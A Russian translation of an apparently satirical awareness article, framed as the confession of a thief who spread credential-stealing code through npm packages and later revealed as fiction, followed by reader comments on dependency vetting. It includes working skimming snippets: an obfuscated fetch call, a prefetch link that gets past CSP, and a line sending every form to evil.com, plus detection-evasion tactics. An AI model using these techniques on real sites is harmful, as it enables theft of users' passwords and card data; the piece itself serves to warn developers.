Представляем вам перевод статьи человека, который несколько лет воровал имена пользователей, пароли и номера кредитных карт с различных сайтов.


То, о чём я хочу рассказать, было на самом деле. Или, может быть, моя история лишь основана на реальных событиях. А возможно всё это — выдумка.

Выдалась однажды такая неделя — безумное время, когда всех вокруг тревожила безопасность. Ощущение было такое, что новые уязвимости появляются ежедневно. Мне было не так уж и просто делать вид, будто я понимаю, что происходит, когда меня об этом спрашивали близкие люди. Их беспокоила перспектива того, что их взломают, что их данные утекут неизвестно куда. Всё это заставило меня на многое взглянуть по-новому.

В результате, скрепя сердце, я решил выложить всё начистоту и рассказать всему миру о том, как я в последние несколько лет воровал имена пользователей, пароли и номера кредитных карт с самых разных сайтов. Возможно, вы — администратор или разработчик одного из них.

Как это работает


Сам по себе код, который позволяет красть данные с сайтов, очень прост. Лучше всего он себя чувствует, когда выполняется на странице, соответствующей следующим критериям:

  • На странице есть тег <form>.
  • Там имеется элемент, в свойствах которого есть input[type="password"], или name="cardnumber", или name="cvc", или нечто подобное.
  • Страница содержит слова вроде «credit card», «checkout», «login», «password», и так далее.

Затем, при возникновении события blur у поля для ввода пароля или номера кредитной карты, или при возникновении события submit формы, код выполняет следующие действия:

  • Берёт данные из всех полей формы, расположенной на странице (document.forms.forEach(…)).
  • Читает document.cookie.
  • Превращает это всё в строку, которая выглядит как беспорядочный набор символов (const payload = btoa(JSON.stringify(sensitiveUserData))).
  • Затем отправляет то, что получилось, по примерно такому адресу: https://legit-analytics.com?q=${payload} (адрес это, конечно, выдуманный).

Короче говоря, если нечто кажется мне представляющим хоть какую-то ценность, я отправляю это на мой сервер.

Предыстория


Конечно, когда я только написал этот код, в 2015-м, он, пребывая на моём собственном компьютере, ничего полезного сделать не мог. Мне нужно было выпустить его во внешний мир. Например, прямо на ваш сайт.

Вот мудрый совет от Google:

Если атакующий успешно внедрил куда-либо какой-либо код, то, в общем и целом, говорить уже не о чем.

Какую технологию выбрать для распространения подобного кода? У XSS не тот масштаб, и тут всё очень хорошо защищено. Расширения Chrome слишком ограничены.

К счастью для меня, мы живём в эпоху, когда люди, не особо задумываясь о том, что делают, постоянно устанавливают npm-пакеты.

NPM


Итак, моим методом для распространения вредоносного кода стал npm. Мне надо было лишь придумать троянского коня — пакет, несущий хоть какую-нибудь пользу, который веб-мастера устанавливали бы, не беспокоясь о возможных проблемах.

Тут надо сказать, что людям нравятся симпатичные цвета — это то, что отличает нас от собак. Поэтому я создал пакет, который позволяет выводить данные в консоль, раскрашивая текст. Вот как это выглядит:


А вот, если надо, исходный код.

Я был в этот момент весьма взвинчен, так как у меня был интересный пакет, всё было готово к выполнению моего плана, но мне не хотелось ждать, пока заинтересованные лица медленно обнаружат этот пакет и начнут использовать. Поэтому я начал делать пулл-реквесты в существующие пакеты, которые добавляли мой пакет к их зависимостям.

Я сделал несколько сотен реквестов (с разных аккаунтов, ни один из них не раскрывал моего реального имени) в разные фронтденд-пакеты и в их зависимости. «Слушайте, я исправил проблему X и ещё добавил возможности логирования».

Вы только посмотрите — я делаю вклад в опенсорс! Мне встретилось множество здравомыслящих людей, которые заявляли, что новая зависимость им не нужна, однако, я вполне был к такому готов. Тут всё дело — в количестве.

В итоге меня ждал оглушительный успех, и от моего кода для раскрашивания вывода в консоль теперь зависело 23 пакета. Один из них был в зависимостях у весьма широко используемого пакета — это была, так сказать, моя денежная корова. Не буду приводить названий, но такие вот распространённые пакеты — это именно то, что мне было нужно.

И это — только один пакет. Похожих было ещё 6.

Тогда я вышел более чем на 120000 загрузок в месяц, и с гордостью мог заявить, что мой вредоносный код ежедневно выполняется на тысячах сайтов, включая кое-какие из списка Alexa Top 1000, отправляя мне целые реки имён пользователей, паролей и данных по кредитным картам.

Вспоминая эти золотые годы, я не могу поверить, что люди прилагают столько усилий для совершения XSS-атак, которые затрагивают всего лишь один сайт. Ведь так легко внедрить собственный код на тысячи сайтов, воспользовавшись невольной помощью веб-разработчиков.

Анализ замечаний тех, кто уверен в своей безопасности


Кое-кто может усомниться в действенности вышеописанной схемы внедрения кода на сайты и сбора ценных данных и выскажет некоторые замечания, сводящиеся к тому, что уж его-то проекту мой вредоносный пакет не страшен. Поговорим об этом.

?Я заметил бы исходящие сетевые запросы!


Где бы вы их заметили? Мой код не отправляет ничего при открытых инструментах разработчика (да, даже если соответствующая панель откреплена от основного окна).

Я называю это «манёвром Гейзенберга»: пытаясь наблюдать за поведением моего кода, вы меняете его поведение.

Кроме того, моя программа сидит тихо при выполнении на локальном хосте, или на любом IP-адресе, или когда имя домена содержит слова dev, test, qa, uat или staging (окружённые символами границ слов \b).

?Наши пентестеры увидели бы это в их средствах для мониторинга HTTP-запросов!


В какие часы они работают? Моя программа ничего никуда не отправляет между 7-ю утра и 7-ю вечера. Это наполовину сокращает улов, но на 95% уменьшает вероятность обнаружения моего кода.

И учётные данные нужны мне лишь один раз. Поэтому, после того, как я отправил данные с некоего устройства, я делаю об этом запись (в локальное хранилище и куки) и больше данные с этого устройства не отправляю. Репликация мне ни к чему.

Даже если какой-нибудь прилежный пентестер постоянно очищает куки и локальное хранилище, я отправляю данные на свой сервер лишь периодически, да ещё и вношу сюда некоторую долю случайности. Отправка данных производится один раз на примерно семь сеансов ввода данных — идеальная частота возникновения подозрительного события, которая позволяет свести с ума того, кто ищет уязвимости.

Кроме того, URL выглядит весьма похожим на три сотни других запросов, которые выполняет ваш сайт, скажем, к рекламным сетям.

Дело тут в том, что то, что вы этого не видите, не значит, что этого не происходит. Моя система работает уже больше двух лет, и, насколько я знаю, никто никогда даже не заметил этих моих запросов. Может быть, всё это время мой код работал именно на вашем сайте.

Забавная вещь. Когда я обработал все пароли и номера кредитных карт, которые собрал, и подготовил их для продажи в дакрвебе, мне пришлось проверить, нет ли среди этих данных моей кредитной карты или чего-то ещё, на тот случай, если я сам перехватил собственные данные. Это было бы уже не так уж и весело.

?Я бы это увидел в исходном коде пакета на GitHub!


Ваша невинность умилительна. Но я боюсь, что абсолютно реально сделать так: отправить одну версию кода в GitHub, а другую — в npm.

В моём package.json я задал свойство files так, что оно указывает на директорию lib, которая содержит минифицированный и изменённый до неузнаваемости вредоносный код. Именно это команда npm publish шлёт в npm. Но директория lib указана в .gitignore, в результате её содержимое на GitHub никогда не попадёт. Перед нами весьма распространённый подход, поэтому подобное даже не кажется подозрительным при просмотре файлов проекта на GitHub.

Это — не проблема npm, если бы я даже не отправлял разный код в npm и в GitHub, кто смог бы сказать, что то, что лежит в /lib/package.min.js — это реальный результат минификации /src/package.js?

В итоге, на GitHub мой код никому не найти.

?Я проанализировал бы все минифицированные исходники кода из node_modules!


Итак, сейчас вы просто ищете недостатки в моей схеме кражи данных с сайтов. Но, возможно, вы полагаете, что можете написать нечто интеллектуальное, автоматически проверяющее код на наличие разных подозрительных вещей.

Если и так, то вы, опять же, не сможете найти в моём коде ничего подозрительного. У меня нет слов fetch и XMLHttpRequest, или имени домена, куда я отправляю данные. Мой код для сбора данных выглядит примерно так:

const i = 'gfudi';
const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');
self[k(i)](urlWithYourPreciousData);

Строка «gfudi» — это всего лишь слово «fetch», коды символов которого увеличены на единицу. Вот вам хардкорная криптография в действии. А self — это всего лишь псевдоним для window.

А вот ещё один способ записать команду вида fetch(...):

self['\u0066\u0065\u0074\u0063\u0068'](...)

Вывод заключается в том, что очень сложно, практически невозможно, обнаружить всякие безобразия в обфусцированном коде.

Учитывая вышесказанное, хочу сказать, что я, на самом деле, не использую какие-то скучные вещи наподобие fetch. Я предпочитаю везде, где это возможно, пользоваться конструкцией вроде new EventSource(urlWithYourPreciousData). При таком подходе, даже если с параноидальной настойчивостью мониторить исходящие запросы, используя serviceWorker для прослушивания событий fetch, мой код в такую ловушку не попадётся. Я просто не отправляю ничего из браузеров, поддерживающих serviceWorker, но не EventSource.

?У меня есть политика защиты контента!


Ох, вот уж неожиданность. А кто-нибудь сказал вам, что политика защиты контента (Content Security Policy, CSP) не даст вредоносному коду отправлять данные на какой-нибудь хитрый домен? Мне не нравится играть роль того, кто приносит плохие новости, но следующие четыре строки кода проскочат мимо даже самой жёсткой CSP:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

В ранней версии этого материала я сказал, что продуманная CSP защитила бы вас (цитирую) «на 100%». К несчастью, до того, как я додумался до вышеописанного трюка, этот материал прочитало 130 тысяч человек. Я так думаю, отсюда можно сделать вывод о том, что никому и ничему в интернете верить нельзя.

Однако, политики защиты контента нельзя назвать полностью бесполезными. Вышеприведённый пример работает лишь в Chrome, и качественная CSP может помешать работе моего кода в некоторых менее распространённых браузерах.

Если вы ещё не знаете, то CSP может (пытается, по крайней мере) ограничить то, какие сетевые запросы могут быть сделаны из браузера. Часто о таких политиках говорят как о наборе правил, позволяющих ограничить то, что может поступить в браузер, но рассматривать CSP можно и как средство защиты того, что из браузера может быть отправлено (когда я «отправляю» пароли ваших пользователей на мой сервер — это всего лишь параметр в запросе GET).

В случае, когда я не могу отправить данные, используя вышеописанный трюк с prefetch, политики защиты содержимого превращаются в проблему для моей корпорации по сбору номеров кредитных карт. И не только потому, что они мне мешают.

Можно заметить, что если я попытаюсь украсть данные с сайта, имеющего CSP, владелец сайта может быть оповещён о неудачной попытке вторжения (если задано report-uri). Это, в итоге, может привлечь внимание к моему коду, владелец сайта пойдёт дальше, а значит, у меня могут возникнуть серьёзные проблемы.

Так как я не хочу привлекать к себе внимание (если только речь не идёт о танцплощадке), я проверяю CSP перед попыткой что-либо отправить на свой сервер из браузера.

Для того чтобы это сделать, я выполняю фиктивный запрос к текущей странице и анализирую заголовки.

fetch(document.location.href)
.then(resp => {
  const csp = resp.headers.get('Content-Security-Policy');
  // Существует ли такой заголовок? Устраивает ли это меня?
});

В этот момент я могу поискать дыры в CSP. Поразительно, но страница для входа в систему Google имеет плохую CSP, которая позволила бы мне очень просто перехватить имя пользователя и пароль, если бы мой код выполнялся на этой странице. Они не предусмотрели установку connect-src и, кроме того, не задали «универсальный перехватчик» default-src, что даёт мне возможность отправлять то, что я собрал, тогда, когда мне этого захочется.

Если вы мне пришлёте десять долларов по почте — я скажу вам, имеется ли мой код на странице входа в систему Google.

У Amazon, на той странице, где вводят номер кредитной карты, совсем нет CSP. То же самое касается и eBay.

У Twitter и PayPal имеется CSP, но украсть у них данные очень просто. Эти две компании сделали одну и ту же ошибку, и, возможно, это указывает на то, что и другие её делают. На первый взгляд всё выглядит довольно прилично, и там и там, как и должно быть, задано default-src. Но вот проблема — эта штука должна перехватывать всё, но она этого не делает. Они не заблокировали form-action.

Итак, когда я проверяю политику защиты контента (и проверяю её дважды), если всё остальное заблокировано, но я вижу, что не заблокировано form-action, я просто беру и меняю действие (в том месте, где данные отправляются на сервер по нажатию кнопки Войти или подобной) во всех формах.

Array.from(document.forms).forEach(formEl => formEl.action = `//evil.com/bounce-form`);

Вот так. Спасибо, друг, что прислал мне своё имя пользователя и пароль из PayPal. Я отправлю тебе поздравительную открытку с фотографией всего того, что купил на твои деньги.

Естественно, я выполняю такой трюк лишь один раз на одном устройстве, и отправляю пользователя прямо на соответствующую страницу, когда он пожимает плечами и пробует воспользоваться формой снова.

Кстати, используя этот метод, я взломал аккаунт Трампа в Twitter и начал постить всякую ерунду. Насколько мне известно, до сих пор этого никто не заметил.

Надеюсь, мне удалось развеять сомнения тех, кто не был уверен в работоспособности описанного здесь подхода к сбору данных с сайтов. Теперь вполне логично задаться вопросом о том, как от этого всего защищаться.

Что делать?


Вот несколько вариантов защиты от всего того, о чём я рассказал.

?Вариант №1: никакого интернета, никаких сайтов


Полагаю, тут всё понятно без лишних слов:


Здесь вы будете в безопасности.

?Вариант №2: никакого постороннего кода на важных страницах


На каждой странице, которая собирает любые данные, которые вы хотите защитить от меня (или от моих товарищей-хакеров), не используйте модули npm. То же самое касается Google Tag Manager, или кода рекламных сетей, или аналитических скриптов, в общем — речь идёт о любом чужом коде.

Как советуют здесь, вы можете решить обзавестись очень простыми выделенными страницами для целей входа в систему и ввода номеров кредитных карт, которые выводятся с помощью iFrame.

При этом все остальные части страницы вроде шапок, подвалов и блоков навигации, могут работать на старом добром React, где подключены 138 npm-пакетов. Однако, та часть страницы, на которой пользователь вводит ценные данные, должна работать в отдельном iFrame, в котором, если вы хотите проверять какие-то данные на стороне клиента, должен выполняться только JavaScript-код, написанный вами собственноручно (и, позволю дать рекомендацию, не минифицированный).

Скоро я опубликую отчёт за 2017-й год, где задекларирую доход, полученный от воровства кредитных карт и продажи их всяким криминальным элементам. Закон требует, чтобы я раскрыл список сайтов, с помощью которых я собрал больше всего номеров кредитных карт. Может быть среди них окажется и ваш сайт?

Так как я — человек позитивный — любой из списка, кто успешно заблокировал мои попытки по сбору данных до 12-го января, будет избавлен от публичного позора.

Серьёзный разговор


Допускаю, что мой безжалостный сарказм кому-то может быть трудно понять, например, людям, которым не хватает чувства юмора. Поэтому, просто чтобы расставить все точки над i, хочу сказать, что я не создавал npm-пакет, который крадёт информацию с сайтов. Этот материал — чистой воды выдумка, но всё это вполне могло случиться на самом деле. Хотя всё это — лишь моя фантазия, меня беспокоит то, что всё это довольно легко реализуемо.

В мире достаточно умных, но нечистых на руку людей, кроме того, существует около 400000 npm-пакетов. Мне кажется, что высока вероятность того, что как минимум в одном из них может встретиться вредоносный код, и если этот код написан хорошо, никто никогда об этом не узнает.

Проведём один интересный мысленный эксперимент. На прошлой неделе я написал npm-пакет, небольшую смягчающую функцию. Этот пакет не имеет никакого отношения к моему сегодняшнему рассказу, и я даю слово джентльмена, что в нём нет ничего вредоносного. Насколько сильно вы будете нервничать, подключая этот пакет к коду своего сайта?

Итоги


Зачем я вообще написал этот материал? Может для того, чтобы заявить каждому, кто его прочтёт о том, что он — простофиля, которого легко обвести вокруг пальца? Нет конечно. (И, кстати, с этого стоило бы начать, но потом я понял, что я — такой же простофиля).

Моя цель (как оказалось) заключается в том, чтобы привлечь внимание к тому, что любой сайт, включающий в себя сторонний код, уязвим. Причём, его уязвимости практически нереально обнаружить. Надеюсь, этот мой рассказ дал пищу для ума тем, кого волнуют вопросы безопасности в сети.

Уважаемые читатели! Что вы делаете для того, чтобы обезопасить свои веб-проекты от потенциально опасного стороннего кода, включаемого в них?

Комментарии (295)


  1. MrDaedra
    11.01.2018 14:27

    Почти с самого начала статьи предвидел содержимое «Серьёзного разговора»


  1. authoris
    11.01.2018 14:31
    +2

    Спасибо за перевод! Возможно пришло время создания платного пакетного репозитория с ручной проверкой пакетов, вроде AppStore, и более высоким уровнем доверия. Остается надеяться, что на его страницах оплаты или авторизации не будет сидеть ничего подобного из статьи =)


    1. nox1725
      11.01.2018 14:38

      В серьезных компаниях (к счастью, я работаю именно в такой) делается проще — ставится приватный репозиторий, туда копируются пакеты из публичного, но изначально доступ заблокирован для всех, пока их не проверит служба ИБ, где работают довольно умные люди.

      После того как пакет проверен — он допускается в QA, но на этапе выпуска в Prod это еще раз анализируется в различных моментах, вплоть до открытия кода на Х% реальных юзеров, чтобы протестировать в условиях максимально близких к боевым

      На любом этапе анализируется весь трафик, который идет на/из устройства и в случае подозрений — делается rollback


      1. authoris
        11.01.2018 14:44
        +1

        А можете поделиться, на базе чего поднимали приватный репозиторий?


        1. poxvuibr
          11.01.2018 15:38

          Кстати да, вопрос к jbaruch, умеет Artifactory подменять npm ?


          1. ctacka
            11.01.2018 17:51

            Я не jbaruch, но да, умеет, по крайней мере enterprise версия. И есть простые репозитории, которые в докере поднимаются за 5 минут.


            1. jbaruch
              11.01.2018 21:32

              Я jbaruch, и не надо грязи, даже обычный Pro умеет. Проблема с простыми репозиториями, что они кроме npm ничего не умеют.


          1. TakinosaJi
            13.01.2018 20:06

            Умеет.


        1. nox1725
          11.01.2018 15:49
          +1

          Раньше использовали www.npmjs.com/package/sinopia, сейчас Artifactory платную, т.к. интеграция с AD, групповые политики и много чего еще вкусного


          1. MrCheater
            11.01.2018 20:05
            +1

            sinopia имеет проблемы с пакетами вида @somescope/somepackagename
            Разработчики забили на поддержку.
            Вот живой и поддерживаемый форк verdaccio (1700+ звёзд)


            1. nox1725
              11.01.2018 20:17

              Я её очень давно использовал, потом как раз перешли на Артифактори по причине отсутствия поддержки, ну и были еще требования прикрутить роли/группы и интегрировать с AD/LDAP

              Но за ссылку — спасибо! Пригодится в будущем


        1. aPiks
          11.01.2018 21:42

          nexus repository
          Не знаю на чем у них, но мы используем этот. Пока негативных моментов не заметили.


      1. ctacka
        11.01.2018 17:52
        +1

        А как проверяется? Как служба ИБ проверяет npm-пакеты?


        1. nox1725
          11.01.2018 18:03

          Ну так банальный core review и сборка из исходников, чтобы не прилетело бинарников непонятных
          При первом добавлении пакета — довольно сложная процедура, т.к. нужно изучить много кода, при апдейтах — много проще — посмотреть diff'ы

          ИБ в данном случае — это не только security engineer, но еще и неплохие программисты с практическим опытом в bounty


          1. DistortNeo
            11.01.2018 18:19

            Ну так банальный core review и сборка из исходников

            Это не даст 100% гарантии, что в коде не содержится вредоносных фрагментов.


            Типичный пример: ослабление open source критографических библиотек спецслужбами. Никто об этом годами даже не догадывался, пока об это не сообщили явно.


            1. nox1725
              11.01.2018 18:32

              Ну паранойя, паранойей, но всё должно быть в балансе
              Известные уязвимости проверяются, в том числе пакеты/версии в которых они найдены, но всё проверить невозможно, это все прекрасно понимают

              В ИБ всегда баланс рисков и затрат на их снижение. И задача прежде всего именно снизить риски, т.к. любой безопасник понимает, что полностью их исключить нельзя (последний пример с уязвимостью в процессорах — явный пример, без всякой теории заговора спецслужб)


              1. goodwind
                12.01.2018 08:14

                Просто из праздного интереса: а если в пакете обнаружен зловредный код? Пакет отбрасывается как ненадежный (что влечет за собой изменения в проекте, так как надо чем-то заменить функционал выброшенного модуля) или делается свой внутренний фикс уязвимости?


                1. nox1725
                  12.01.2018 17:25

                  По разному. В любом случае пишется баг-репорт разработчику. Если команда, которой нужен был компонент не нашли альтернативы или фикс тривиальный, то после внутреннего тестирования помимо баг репорта будет еще и пулл-реквест

                  Но иногда или пакет плохо поддерживается (или вообще разработку забросили), или же фикс нетривиальный и требует времени чуть ли не больше, чем разработка фичи/функционала с нуля — в таком случае скорей всего будут искать альтернативу или писать руками


                1. Volmontovich
                  13.01.2018 23:32

                  Изменения в проекте не влечет, так как проект как правило не может зависить от того, что еще не прошло ревью. Но конкретная судьба зависимости может быть разной, ответ nox1725 вполне исчерпывающий.


            1. SADKO
              11.01.2018 20:48

              Эти ослабления делаются не явным для не математика образом, и прогеры их в упор не видят и это нормально…
              … а сторонний функционал визуально очевиден, о чём и речь в посте, в git одно, а в сборке другое


              1. nox1725
                12.01.2018 17:28
                +1

                Именно! Помимо зловредных вещей некоторые вполне себе крупные компании имеют в своем софте код, который отправляет «обезличенные» аналитические данные о работе системы. При этом в open source версии (в коде) этого участка нет, а в бинарном пакете от вендора есть

                Конечно в ToA или в лицензии об этом прописано, но если нам не хочется, чтобы что-то куда-то отправлялось, — мы просто собираем из сорцов

                Это даже не уязвимость, это сбор данных пользователя, например. Или авто-баг репорты.


          1. mayorovp
            12.01.2018 13:12

            Слепая сборка из исходников может быть еще опаснее: чужой код запускается на ваших серверах, причем возможно еще и на тех которые имеют доступ выкладывать что-то на прод.


            1. nox1725
              12.01.2018 14:45

              Вроде бы я написал core review & local building, как вы думаете, что идет сначала? :-)

              И конечно код ребята из ИБ собирают в песочницах (докер/виртуалки), потом тестируют, потом только его отправляют на сборку в центральный Jenkins/TeamCity и оттуда в репу


              1. mayorovp
                12.01.2018 15:46

                Какой вообще смысл собирать на центральном сервере однократно?


                1. nox1725
                  12.01.2018 17:31

                  Не однократно, а при изменении версии.

                  Мы же тут вроде о зависимостях говорим. Пока зависимость не нуждается в обновлении, её собранный артефакт не нуждается в повторной сборке.

                  При наличии CICD пересобирается только то, что требует пересборки


                  1. mayorovp
                    13.01.2018 20:44

                    То есть при изменении версии новая версия руками уже не проверяется? И чужой код автоматически исполняется на общем билд-сервере?


                    1. nox1725
                      15.01.2018 13:19

                      Нет же, наоборот, проверяется так же, только уже смотрятся диффы, потом собирается в изолированном окружении и только потом уходит апдейт на основной билд сервер

                      То есть проверка апдейтов делается так же как и любого другого кода, разве что быстрее, т.к. как правило объем изменений не такой большой (диффы)


        1. nox1725
          11.01.2018 18:04

          К слову сказать, код, который пишется в продукт так же проверяется, как и зависимости. Без такой проверки в прод он не уйдет


          1. redFoer
            11.01.2018 21:42

            Посыл ведь прост.«Какими бы вы умными не были у вас всегда может быть плохой день».


            1. nox1725
              12.01.2018 14:45

              Да, конечно, всё так. Но никто и не говорит о 100% гарантии, однако уменьшить риски это помогает.

              Плюс код как правило смотрит минимум 4 глаза


          1. Areso
            11.01.2018 21:54

            Что-то не было замечено доскональных платных аудитов OpenSSL, а ведь позволю себе заметить, что OpenSSL пользовались не только бедные студенты, но и уважаемые софтварные компании, а они пишут код в продукт, который проверяется…
            Oh, sh~, видимо не проверяется, по крайней мере зависимости)


            1. Kghrast
              12.01.2018 13:14

              А FIPS относится к «доскональному»? И если нет — то почему?


              1. Areso
                12.01.2018 21:24

                Только почему-то FIPS 140-2 случился значительно позже маленького случая с Heartbleed, когда корпы поняли, что неплохо бы SSL библиотеку и проверить, а не просто использовать «как есть», в то время как автор перебивался случайными средствами и едва мог оплатить счета за электричество и железо для тестирования своей библиотеки…


            1. nox1725
              12.01.2018 14:47

              Тот же RHEL делает аудит кода. Бесплатный, только плата за поддержку. Тот же GRSecurity тоже делает. Это из тех кто «на устах»

              Крупные компании тоже проводят свой аудит, особенно если работают в тех сферах, где защита информации — основная задача (финансы, крипта, всякий enterprise)


          1. ChePeter
            12.01.2018 12:16

            Ага, сколько лет проверялся OpenSSL?
            habrahabr.ru/sandbox/100878
            Этой ошибке много лет и это в пакете за которым следят миллионы глаз.


            1. nox1725
              12.01.2018 14:50

              Это баг, но это не уязвимость. Любой софт содержит баги, прям вот любой. Делать аудит на баги и делать работу QA другой компании (или open source проекта) — слишком затратно, ради просто включения в проект.

              Если баг проявляется у вас лично — пишите баг репорт и его поправят или сразу пулл реквест, если вы у себя его поправили уже. Если баг вам не мешает спать по ночам, то смело игнорируйте, если он не несет угрозы ИБ


              1. ChePeter
                12.01.2018 15:21

                Но я еще не встречал, что бы в основе уязвимости лежал на баг, а закладка.
                Поправьте меня, если вдруг что то не заметил
                Именно баги превращаются в уязвимости, увы


                1. nox1725
                  12.01.2018 17:34

                  Хотя бы вот habrahabr.ru/post/200686

                  А еще рекомендую почитать www.csoonline.com/article/3157377/application-development/report-attacks-based-on-open-source-vulnerabilities-will-rise-20-percent-this-year.html (на английском), очень интересная статья по этому поводу. Думал перевести на Хабр, но не уверен, что найду время


                  1. ChePeter
                    12.01.2018 18:04

                    Не совсем убедили.
                    Алгоритм то заявленные требования обеспечивал и то, что при определенных параметрах нет секретности, так и кривые есть сингулярные.
                    Есть рекомендованные ГОСТ параметры кривой, так и на веру их и принимают все.
                    И тот же NIST всегда указывал, что параметры a,b,… выбраны по критерию простоты вычислений.
                    В биткойне так вообще a=0 ( проще некуда) и что-то мне подсказывает, что не спроста ))


          1. Joshua
            15.01.2018 09:51

            Сам живу в серьезной компании. Думаю, по описанному сценарию мы бы ничего не отловили. По крайней мере сразу. Только с логов view у клиентов, и то, если бы они сами к нам обратились с проблемой. А сами не поймали бы, т.к. у нас все интеграционные тесты запускаются на машинах с локальных адресов или по локальному имени машины, что легко отследить и проверить. Т.е. те кто пишут, что найдет СБ или мы сами тестами — ребята, по-моему вы оптимисты.


    1. yuretsz
      13.01.2018 04:52

      А может проще CSP правильно настроить?


  1. kisskin
    11.01.2018 14:34

    мне даже стало страшно, пока я это читал)))


    1. kurnosov
      11.01.2018 14:59

      Если еще не читали, то советую вам почитать про уязвимости Meltdown/Spectre от этого действительно станет страшно видя то, как как грибы появляются реализации на Github'е и судорожные попытки закрыть уязвимости софтверно с соответствующим проседанием производительности, особенно в серверном сегменте (сервера Nex Machine для примера получили проседание в 5ть раз).


      1. kalininmr
        11.01.2018 20:46
        +2

        мне кажется несколько преувеличивают.
        что б поймать кусок памяти с паролем надо перелопатить условно половину оперативки(в среднем).
        скорость доступа к произвольной памяти там неахти(да и несовсем к произвольной)

        тоесть уязвимость конечно сурьезная, но так просто не заюзаешь.


        1. bro-dev
          12.01.2018 07:41

          это не говоря о

          Если атакующий успешно внедрил куда-либо какой-либо код, то, в общем и целом, говорить уже не о чем.

          работает независимо от наличия Meltdown/Spectre уязвимостей


      1. TheOleg
        12.01.2018 02:36

        У серверов Nex Machine нагрузка была 5%, а стала 25%, проседания там не должно было быть.


      1. VioletGiraffe
        12.01.2018 11:51

        Не понимаю хайпа Meltdown. Страшно, что из-за этой фигни патч ОС делает почти весь софт медленнее.


      1. Psychosynthesis
        12.01.2018 21:17

        Если бы плодились реально рабочие реализации, было бы интересно. А так — тупо очередной «хайп».


        1. baldr
          12.01.2018 21:24

          А вы что имеете в виду? Что кто-то сделает «рабочую реализацию» и потом сразу напишет об этом на хабр?
          Если вы не знаете о какой-то реализации то тут возможно 2 случая:
          * ее не существует
          * вы о ней не знаете


          1. Psychosynthesis
            12.01.2018 21:40

            При чём тут Хабр? Человек написал что его беспокоят плодящиеся «как грибы» реализации атаки, а я лишь обратил его внимание, что абсолютное большинство этих реализаций ничего путного из себя не представляют.

            А ситуацию, при которой кто-то что-то расковырял и тайно этим пользуется, ни я, ни автор комментария, на который я отвечал, никак не обсуждали — зачем вы это тут за уши притягиваете я не понимаю.


            1. baldr
              12.01.2018 23:00

              Прошу прощения, снова я не разобрался в контексте.


    1. popov654
      12.01.2018 00:35

      А мне не стало страшно, т.к. я никогда не использую в веб-проектах сторонний код, от слова «вообще» :)


      1. baldr
        12.01.2018 00:42

        Прошу прощения, но боюсь что у вас просто недостаточно воображения для паранойи.
        Если вы пишете веб-приложения, то, скорее всего, вы их на чем-то хостите? Может быть вы слышали про apache? Или, может быть, вы используете серверные интерпретируемые языки типа Python/PHP/etc? Может быть вы точно знаете что делает каждая строчка в их исходном коде?
        На самом деле стоит только Линусу Торвальдсу захотеть намайнить немного криптовалюты и ядро linux неуловимо изменится… Конечно, там не он один все ревьюит, но тем не менее, уровень паранойи можно включить на максимум при желании…


        1. popov654
          13.01.2018 01:10

          Да, вы абсолютно правы. Я писал лишь про вот эти модные npm-пакеты и кучу сторонних библиотек, которую сейчас пихают к месту и не к месту, особенно в небольшие сайты (примеры из статьи с раскраской вывода на консоль и «удобной ease-функцией» для анимаций очень ярко иллюстрируют это явление).


      1. qqname
        15.01.2018 15:34

        Ну например мне стало страшно не от того что я испугался за свои проекты, а от осознания того что может твориться в чужих. Например там где я покупаю электронику/игры/книги


  1. qqname
    11.01.2018 14:42
    +6

    Ни одна статья за последние годы меня так не заставляла параноить :/


  1. lain8dono
    11.01.2018 14:49
    +7

    Помимо всего этого есть другие ЯП со своими пакетными менеджерами. Хороший год.
    Всё от ПО до железа — дыра безопасности. Ну хоть что-то в безопасности.


    1. Wolf4D
      11.01.2018 15:51

      Вообще, дыр, судя по всему, огромное количество. Страшно подумать, что будет, если это начнут ковырять всерьёз. Меня, в своё время, впечатлило вот это (перекликается с темой статьи, кстати).


      1. gx2
        11.01.2018 16:48
        +1

        Моё мнение: кому надо, давно расковыряли и пользуются без огласки. Как товарищ из статьи.


    1. QtRoS
      12.01.2018 00:09

      Но минификация только в потенциально клиентском коде.


  1. OlegShishkin
    11.01.2018 15:20
    +1

    Зачем все эти сложности с контролем кода, когда можно запросто иметь выделенную банковскую карточку только для оплаты через интернет и пополнять её только перед оплатой? Всё остальное время на ней нулевой остаток. И пусть этот ноль воруют сколько влезет. Это же очень просто — отдельная карта для интернета. И всё.


    1. j_wayne
      11.01.2018 15:33
      +2

      Потому, что это могут быть не только данные кредиток, а все, что угодно. Медицина, пароли к сервисам, да мало ли что.


    1. mickvav
      11.01.2018 15:49
      +9

      А переводить вы на неё деньги будете в веб-банкинге, написанном модными-стильными-современными js-кодерами…


      1. Germanets
        11.01.2018 16:46
        -1

        Вроде бы есть достаточно провайдеров виртуальных карт, счета которых можно пополнить просто в терминале… Везде, где я жил в своём, пусть и достаточно крупном городе, терминалы были в шаговой доступности, от силы потратишь десяток минут и получишь деньги на счету, и сразу же тратишь.
        Может это деформация, ввиду образования в области компьютерной безопасности, но немалая часть моих знакомых делает точно так же…


        1. DistortNeo
          11.01.2018 17:50
          +2

          О, получается ещё веселее алгоритм. чтобы что-то оплатить с виртуальной карты:

          1. Выйти на улицу, найти банкомат своего банка, чтобы снять деньги с зарплатой карточки.
          2. Чертыхнуться, потому что банкомат не работает и пойти в другое отделение.
          3. Отстоять очередь.
          4. Снять нужную сумму.
          5. Найти терминал, чтобы внести деньги на виртуальную карту.
          6. Чертыхнуться, потому что терминал отказывается принимать последнюю пятитысячную купюру.
          7. Вернуться к банкомату, отстоять очередь, снять ещё 5 тысяч рублей.
          8. Вернуться к терминалу.
          9. Дойти до дома.

          Да, ещё не забыть про комиссии.


          1. Germanets
            11.01.2018 18:11

            Эмм, видимо я совершенно в своём(параноидальном?) мире живу, у меня нет денег на картах, у меня всё, чем я в ближайшее время собираюсь пользоваться — в наличке…
            С банкоматами, их поиском и прочими чудесами вида «у нас нет связи с банком»(а бывают и похлеще, уж поверьте), я не сталкиваюсь, и окружающим не рекомендую… Да и ваша цепочка показывает, что банкомат стоит из этого алгоритма выбросить, как наиболее затратную по времени составляющую)
            0. Найти терминал(если вдруг ещё не запомнил, где терминалы около твоего дома :)).
            1. Дойти до терминала
            2. Внести деньги на виртуальную карту(даже с выбором другой купюры из кошелька — займёт не больше пары минут).
            3. Дойти до дома.


            1. baldr
              11.01.2018 18:30

              Видимо вы не ездите ни в другой город, ни за границу.
